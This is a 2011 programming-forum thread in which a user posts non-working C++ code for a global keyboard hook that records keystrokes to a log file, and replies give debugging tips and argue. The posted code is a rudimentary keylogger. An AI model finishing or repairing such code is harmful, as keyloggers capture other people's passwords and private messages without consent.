Global Keyboard Hook not working

This is a discussion on Global Keyboard Hook not working within the Windows Programming forums, part of the Platform Specific Boards category; I have been trying to make Global Keyboard hook program in visual C++ that writes keystrokes to a file "log.txt"..I ...

  1. #1
    Registered User
    Join Date
    Jul 2011
    Posts
    2

    Post Global Keyboard Hook not working

    I have been trying to make Global Keyboard hook program in visual C++ that writes keystrokes to a file "log.txt"..I am new to windows programming and i have gone through the msdn library to get an understanding of hooks....I think i have understood the concept theoretically but when i implement the code, it doesn't seem towork..The compiler doesn't show any error in both the DLL file and EXE file....Moreover the text file "log.txt" never gets created...
    Here are the code files

    First the DLL file
    Code:
    #include<windows.h>
    #include<stdio.h>
    
    HHOOK g_hhk;
    
    __declspec(dllexport) LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    	if(nCode>=0)
    	{
    		char ch;
    		FILE *fp;
    		fp=fopen("log.txt","a");
    	if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
    	{
    	if(wParam==VK_RETURN)
    		ch='\n';
    		fwrite(&ch,1,1,fp);
    	}
    	else
    	{
    		BYTE ks[256];
    		GetKeyboardState(ks);
    
    		WORD w;
    
    		UINT scan;
    
    		scan=0;
    
    		ToAscii(wParam,scan,ks,&w,0);
    
    		ch =char(w);
    
            fwrite(&ch,1,1,fp);  // copy character to log file
    	}
    	fclose(fp);
    	}
    return CallNextHookEx(g_hhk, nCode, wParam, lParam);
    }

    ----Now the EXE file:
    Code:
    #include<windows.h>
    
    HOOKPROC hkprckb;
    static HINSTANCE hinstDLL; 
    static HHOOK hhookkb;
    
    int WINAPI WinMain(HINSTANCE hInstance1,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
    {
    	hinstDLL=LoadLibrary(TEXT("C:\\Documents and Settings\\Attar Singh\\My Documents\\Visual Studio 2008\\Projects\\key\\Debug\\key.dll"));
    	hkprckb=(HOOKPROC)GetProcAddress(hinstDLL,"KeyProc");
    	hhookkb=SetWindowsHookEx( 
                        WH_KEYBOARD_LL,
                        hkprckb,
                        hinstDLL,
                        0); 
    
    
    	//UnhookWindowsHookEx(hhookkb);
    	MessageBox(NULL,NULL,NULL,MB_OK);
    	return 1;
    }

    This program is giving me nightmares...Any sort of help will be greatly appreciated...thanks in advance...!!

  2. #2
    Banned
    Join Date
    Aug 2010
    Location
    Ontario Canada
    Posts
    9,547
    So ... you're writing a key logger?

    Excuse me but this is bordering on helping you write a trojan/spyware...
    You may protest best intentions but this board does have policies about this kind of thing...

    Taking the plunge... You have to set the hook from the DLL, i.e. the SetWindowsHookEx call needs to be in the DLL ... and your DLL main is absent... When you load a DLL the LoadLibrary() call executes DLL Main... with a "reason" code... you must respond to this code or the DLL simply loads and then immediately unloads and LoadLibrary() will report an error. So you need to check the return value of LoadLibrary() before proceeding...

    Others will tell you ways to cheat on the process and claim that the SetWindowsHook() call does not need to be in a DLL... I have experimented with this and found it to be unreliable, so use your best judgement...

    Also, you should search this forum for other similar threads...

  3. #3
    'Allo, 'Allo, Allo
    Join Date
    Apr 2008
    Posts
    611
    Quote Originally Posted by CommonTater View Post
    Others will tell you ways to cheat on the process and claim that the SetWindowsHook() call does not need to be in a DLL... I have experimented with this and found it to be unreliable, so use your best judgement...
    I find it funny you think Microsoft wrote hook code twice. One that works perfect if you use a dll and one which is intentionally flaky just to teach those who read the documentation better than you initially did. Rather ironically, the OP's problem (which is a lack of something) demonstrates the only thing you need for a low level hook, and he has a dll...

    Also, cross-posting
    Last edited by adeyblue; 07-30-2011 at 08:34 AM.

  4. #4
    Banned
    Join Date
    Aug 2010
    Location
    Ontario Canada
    Posts
    9,547
    Quote Originally Posted by adeyblue View Post
    I find it funny you think Microsoft wrote hook code twice. One that works perfect if you use a dll and one which is intentionally flaky just to teach those who read the documentation better than you initially did.
    Oh for crying out loud... WILL YOU PLEASE GROW UP!

    I said no such thing and implied no such thing...

    You do not get to make stuff up just so you can be angry with me about it.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. C++ Global Keyboard Hook
    By darknite135 in forum C++ Programming
    Replies: 4
    Last Post: 02-01-2008, 06:36 PM
  2. Keyboard Hook
    By jmd15 in forum Windows Programming
    Replies: 19
    Last Post: 08-07-2005, 03:11 PM
  3. Keyboard Hook (C++)
    By jmd15 in forum Windows Programming
    Replies: 6
    Last Post: 03-10-2005, 08:01 AM

Tags for this Thread


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21